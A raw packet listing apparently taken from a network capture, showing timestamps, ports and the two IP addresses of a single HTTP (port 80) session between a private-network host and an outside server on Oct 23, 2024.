Oct 23, 2024 17:51:24.008820057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008825064 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008831978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008847952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008877993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008882046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008893967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008898020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008908033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.008914948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.008939028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.009423018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.009468079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.009481907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.009495020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.009510040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.009531021 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.037763119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037806034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037816048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037833929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037844896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037868977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.037895918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.037903070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037924051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037933111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.037957907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.037967920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.079344988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079371929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079382896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079413891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079454899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079464912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.079468966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079485893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079500914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.079509020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.079556942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079571009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079585075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079593897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.079603910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.079624891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.120537996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.120553970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.120565891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.120578051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.120615005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.120652914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.125844002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125864983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125885010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125895977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125899076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.125909090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125931025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125941038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.125945091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125957012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125967979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.125972033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125986099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.125998974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126010895 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.126012087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126036882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.126216888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126229048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126240969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126256943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.126269102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126276016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.126282930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126293898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126307011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126319885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.126323938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126337051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126338959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.126348019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126359940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.126384020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.126408100 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.127159119 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127171993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127182961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127193928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127207994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127218008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127219915 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.127230883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127237082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127243042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.127243996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.127269030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.155215979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.155256033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.155267954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.155282021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.155292988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.155298948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.155306101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.155383110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.155795097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.196754932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.196806908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.196815968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.196855068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.196902037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.196911097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.196935892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.196952105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.196968079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.196980000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.196984053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.197025061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.197026968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.197093010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.197177887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.197190046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.197211027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.197231054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.197235107 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.197292089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.238014936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.238033056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.238058090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.238070011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.238094091 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.238131046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243319988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243386030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243398905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243412018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243427992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243432999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243447065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243458986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243459940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243472099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243484020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243485928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243498087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243510008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243535042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243690968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243714094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243726015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243752003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243869066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243881941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243894100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.243917942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.243932962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244045973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244087934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244100094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244132996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244152069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244163990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244174957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244187117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244199991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244200945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244211912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244214058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244241953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244688034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244708061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244735003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244744062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244790077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244891882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244903088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244914055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244925976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244932890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244937897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244950056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244961023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244963884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.244975090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244992018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.244992971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.245021105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.272751093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.272799969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.272802114 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.272813082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.272825956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.272838116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.272846937 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.272849083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.272872925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.312251091 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.314234972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314285040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314296961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314308882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314320087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314332962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.314361095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.314383030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314395905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314429045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.314584017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314594984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314619064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314630985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314630985 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.314644098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.314652920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.314687967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.355627060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.355664968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.355700016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.355721951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.360609055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360660076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.360663891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360699892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360740900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.360759020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360794067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360848904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360879898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360888958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.360913992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.360919952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.360969067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361004114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361037970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361056089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361073017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361090899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361107111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361145973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361162901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361177921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361193895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361231089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361423969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361434937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361445904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361457109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361473083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361494064 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361679077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361690044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361705065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361723900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361735106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.361736059 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361758947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361804008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.361999035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362011909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362024069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362051010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362061977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362072945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362076998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.362087011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362097979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.362099886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362143993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.362143993 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.362524986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362536907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362546921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362571001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.362593889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362605095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362615108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362624884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362632036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.362636089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.362658024 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.362673998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.390352964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.390392065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.390428066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.390460968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.390486002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.390495062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.390511036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.390526056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.390559912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.390575886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.431796074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.431812048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.431823969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.431838036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.431859970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.431905985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.431912899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.431920052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.431931019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.431957960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.431973934 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.432178974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.432202101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.432214975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.432226896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.432240009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.432244062 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.432270050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.473332882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.473368883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.473387957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.473402977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.473437071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478183031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478208065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478219986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478259087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478270054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478283882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478297949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478312016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478318930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478333950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478336096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478395939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478530884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478626013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478637934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478650093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478662014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:24.478667974 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:24.478676081 CEST	80	49763	185.215.113.16	192.168.2.6
